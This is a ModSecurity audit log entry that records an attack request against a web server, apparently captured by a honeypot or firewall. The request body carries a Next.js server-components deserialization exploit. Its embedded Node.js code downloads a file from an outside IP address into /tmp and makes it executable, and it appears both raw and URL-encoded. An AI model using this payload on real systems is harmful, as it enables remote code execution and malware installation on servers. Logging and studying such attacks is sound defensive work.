--9b541f5f-A--
[13/Dec/2025:02:00:36 --0500] aT0PFLhenDUAAHAG7zAAAABV 185.16.39.52 33456 127.0.0.41 80
--9b541f5f-B--
POST / HTTP/1.1
X-Real-IP: 185.16.39.52
Host: 74.206.190.107
Connection: close
Content-Length: 680
User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.135 Mobile Safari/537.36
Accept-Encoding: gzip, deflate
Next-Action: x
X-Nextjs-Request-Id: poop1234
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxtherespoopalloverme
X-Nextjs-Html-Request-Id: ilovepoop_itstinksyum

--9b541f5f-C--
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('http').get('http://51.81.104.115/nuts/poop',r=>r.pipe(process.mainModule.require('fs').createWriteStream('/tmp/123').on('finish',()=>process.mainModule.require('fs').chmodSync('/tmp/123',0o755))));","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryxtherespoopalloverme
------WebKitFormBoundaryxtherespoopalloverme--
--9b541f5f-I--
0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c%22status%22%3a%22resolved%5fmodel%22%2c%22reason%22%3a%2d1%2c%22value%22%3a%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c%22%5fresponse%22%3a%7b%22%5fprefix%22%3a%22process%2emainModule%2erequire%28%27http%27%29%2eget%28%27http%3a%2f%2f51%2e81%2e104%2e115%2fnuts%2fpoop%27%2cr%3d%3er%2epipe%28process%2emainModule%2erequire%28%27fs%27%29%2ecreateWriteStream%28%27%2ftmp%2f123%27%29%2eon%28%27finish%27%2c%28%29%3d%3eprocess%2emainModule%2erequire%28%27fs%27%29%2echmodSync%28%27%2ftmp%2f123%27%2c0o755%29%29%29%29%3b%22%2c%22%5fformData%22%3a%7b%22get%22%3a%22%241%3aconstructor%3aconstructor%22%7d%7d%7d&1=%22%24%400%22
--9b541f5f-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.2.34
Set-Cookie: PHPSESSID=u6vnulfktjmfbl2f2ofogvlj7f; expires=Sun, 14-Dec-2025 07:00:36 GMT; Max-Age=86400; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=utf-8

--9b541f5f-H--
Message: Multipart: Skipping invalid part 2f164a0 (part name missing): (offset 0, length 0)
Apache-Handler: fastcgi-script
Stopwatch: 1765609236246057 5183 (- - -)
Stopwatch2: 1765609236246057 5183; combined=65, p1=45, p2=18, p3=0, p4=0, p5=2, sr=31, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 200911012341.
Server: Apache/2.2.31 (Unix) mod_ssl/2.2.31 OpenSSL/1.0.2k-fips PHP/5.3.29 mod_fastcgi/2.4.6
Engine-Mode: "ENABLED"

--9b541f5f-Z--